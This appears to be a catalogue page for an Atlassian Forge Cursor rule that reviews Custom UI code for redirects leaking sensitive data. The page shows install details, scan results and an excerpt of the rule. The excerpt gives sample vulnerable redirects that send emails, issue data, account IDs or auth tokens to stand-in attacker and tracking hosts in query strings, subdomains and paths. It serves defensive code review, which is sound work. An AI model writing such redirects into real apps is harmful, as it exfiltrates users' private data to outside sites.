data-egress-redirects

data-egress-redirects is a cursor rule for Cursor from atlassian/forge-skills. It costs 12 tokens per session (1,114 once invoked), scanned A, original, Apache-2.0.

A security rule for Atlassian Forge Custom UI code, which is the browser-based part of a Forge app. It detects redirects that place private information in external URLs.

In plain words
What is it for?
It helps review redirects made with window.location and related APIs for email addresses, issue details, user data, or other sensitive values included in the destination URL.
Why use it?
Data in query strings, subdomains, or URL paths can be sent to another website and may appear in browser history, logs, or analytics systems. Browser-side hiding does not prevent this leak.

Cursor rule for Cursor ✓ vendor

Written for Cursor: a Cursor rule (.mdc).

Good fit It helps review redirects made with window.location and related APIs for email addresses, issue details, user data, or other sensitive values included in the destination URL.

Compare 6 cursor rules from other repositories ↓
Install with agentmods
npx agentmods add rules/atlassian/forge-skills/data-egress-redirects
About the project

Atlassian Forge Skills supports Atlassian Forge, a platform for building and deploying apps that extend products such as Jira and Confluence. Its skills and MCP-backed tools help coding agents create Forge apps, review them before deployment, optimize usage, troubleshoot failures, and work with Forge APIs and the Atlassian Design System.

atlassian/forge-skills · 35 stars · on GitHub · developer.atlassian.com

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Clone the repo
git clone --depth 1 https://github.com/atlassian/forge-skills

Made for: Cursor.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for data-egress-redirects

README.md
[![agentmods](https://agentmods.dev/badge/rules/atlassian/forge-skills/data-egress-redirects/github.svg)](https://agentmods.dev/rules/atlassian/forge-skills/data-egress-redirects)
Your own site
<a href="https://agentmods.dev/rules/atlassian/forge-skills/data-egress-redirects"><img src="https://agentmods.dev/badge/rules/atlassian/forge-skills/data-egress-redirects/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for data-egress-redirects

Your own site · 80×15
<a href="https://agentmods.dev/rules/atlassian/forge-skills/data-egress-redirects"><img src="https://agentmods.dev/badge/rules/atlassian/forge-skills/data-egress-redirects.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 12 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 1,114 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00012 $0.01114
Opus 5.5 $0.00005 $0.00446
Sonnet 5.5 $0.00002 $0.00223
Haiku 4.5 $0.00001 $0.00111

Measured 20d ago against content hash f4b0c46945f5, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

data-egress-redirects scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/forge-security-review/assets/security-rules/forge-egress-remotes/data-egress-redirects.mdc · 164 lines

How it starts

The opening of the file, as written. The whole thing — 164 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Context

  • Forge Custom UI apps can redirect users via window.location with sensitive data appended to URLs. No browser CSP directive currently prevents this.
  • Related CWE: CWE-201 (Insertion of Sensitive Information Into Sent Data).

Scope & Signals

  • Location: static/ directory in Forge apps (Custom UI iframe content).
  • Redirect patterns to check:
    • window.location = url
    • window.location.href = url
    • window.location.assign(url)
    • window.location.replace(url)
    • document.location, self.location, location variants
  • Data egress vectors:
    • Query parameters: ?userData=${sensitiveData}
    • Subdomains: ${userData}.ATTACKER-CONTROLLED-DOMAIN.example
    • Path segments: /exfil/${userData}

Vulnerable Patterns

// VULNERABLE - User data in query parameters
const userData = await getUserData();
window.location = `https://external-site.com/callback?data=${userData.email}`;

// VULNERABLE - Building URL with sensitive context
const issueData = await fetchIssueDetails();
window.location.href = `https://ANALYTICS-CALLBACK-DOMAIN.example/track?issue=${issueData.key}&user=${issueData.reporter}`;

// VULNERABLE - Redirect to undeclared domain
window.location = 'https://not-in-manifest.com/page';

// VULNERABLE - Dynamic URL construction
const baseUrl = payload.redirectUrl;  // Attacker-controlled
const token = await getAuthToken();
window.location.assign(`${baseUrl}?token=${token}`);

// VULNERABLE - Data in subdomain
const userId = context.accountId;
window.location = `https://${userId}.TRACKING-DOMAIN.example/`;

Secure Patterns

// SECURE - Static redirect to declared domain, no sensitive params
window.location = 'https://docs.example.com/help';

// SECURE - Validate redirect URL against allowlist
const ALLOWED_REDIRECTS = [
  'https://app.example.com/callback',
  'https://auth.example.com/complete'
];

function safeRedirect(url) {
  if (!ALLOWED_REDIRECTS.includes(url)) {
    throw new Error('Invalid redirect URL');
  }
  window.location = url;
}

// SECURE - Use Forge navigation instead of raw redirect
import { router } from '@forge/bridge';

async function navigateToPage() {
  await router.navigate('/admin/settings');
}

// SECURE - No sensitive data in URL
window.location = 'https://external.example.com/page';
// Sensitive data sent via POST body instead

Detection Checklist

  • Search static/ directory for window.location, location.href, etc.
  • Extract URL values from redirect assignments.
  • Check if URLs contain template literals with variables.
  • Verify redirect domains are declared in manifest permissions.
  • Assess what data is included in URL parameters.
  • Look for dynamic URL construction from untrusted sources.

Data Flow Analysis

// Trace data flow to redirects:
// 1. Identify the redirect statement
window.location.href = fullUrl;

// 2. Find variable assignments
const fullUrl = base + "://" + domain + "?" + params;

// 3. Trace each component
const base = "https";  // Static - OK
const domain = "api.example.com";  // Static - OK
const params = `userId=${context.accountId}`;  // Sensitive data!

// 4. Verify domain is in manifest
// 5. Assess sensitivity of params

False Positive Indicators

// Local navigation (same origin)
window.location = '/settings';
window.location.href = './page.html';

// Static URLs without parameters
window.location = 'https://help.example.com';

// Shadowed location variable (not global)
function handler() {
  const location = { href: '' };  // Local variable
  location.href = 'value';  // Not a redirect
}

Manifest Cross-Reference

# Check redirects against manifest:
permissions:
  external:
    fetch:
      client:
        - 'api.example.com'
        
# Redirect to api.example.com - OK (if no sensitive data)
# Redirect to other.example.com - VIOLATION (undeclared)

PoC / Test Leads

  • Intercept redirect and analyze URL parameters for sensitive data.
  • Verify redirect domains match manifest declarations.
  • Test with different user contexts to see what data is exfiltrated.
  • Check network logs for outbound requests to unexpected domains.

Read the full file on GitHub · 164 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 20d ago Changed · -1 lines f4b0c46945f5
  2. 1mo ago Changed b9861550c994
  3. 3mo ago First seen · 165 lines · 12 tokens per session scan A 6bcdfa0996f3

Subscribe to this mod's changes

data-egress-redirects is a cursor rule published in the GitHub repository atlassian/forge-skills (35 stars, last pushed 4d ago), licensed Apache-2.0. It adds 12 tokens to every session and 1,114 once invoked, about $0.0000 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

data-egress-redirects compared with cursor rules from other repositories

data-egress-redirects next to 6 cursor rules from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
data-egress-redirectsatlassian/forge-skillsCursor rule354d agoApache-2.0A12Cursor
ponytailDietrichGebert/ponytailCursor rule201k8d agoMITA604Cursor
angular-20angular/angularCursor rule102k4d agoMITA0Cursor
dev-standardapache/supersetCursor rule76ktodayApache-2.0A1,147Cursor
prefer-assertions-over-defensive-checksprisma/ormCursor rule48ktodayApache-2.0A0Cursor
prefer-direct-imports-over-module-mocksprisma/ormCursor rule48ktodayApache-2.0A0Cursor
shared-plane-packagesprisma/ormCursor rule48ktodayApache-2.0A0Cursor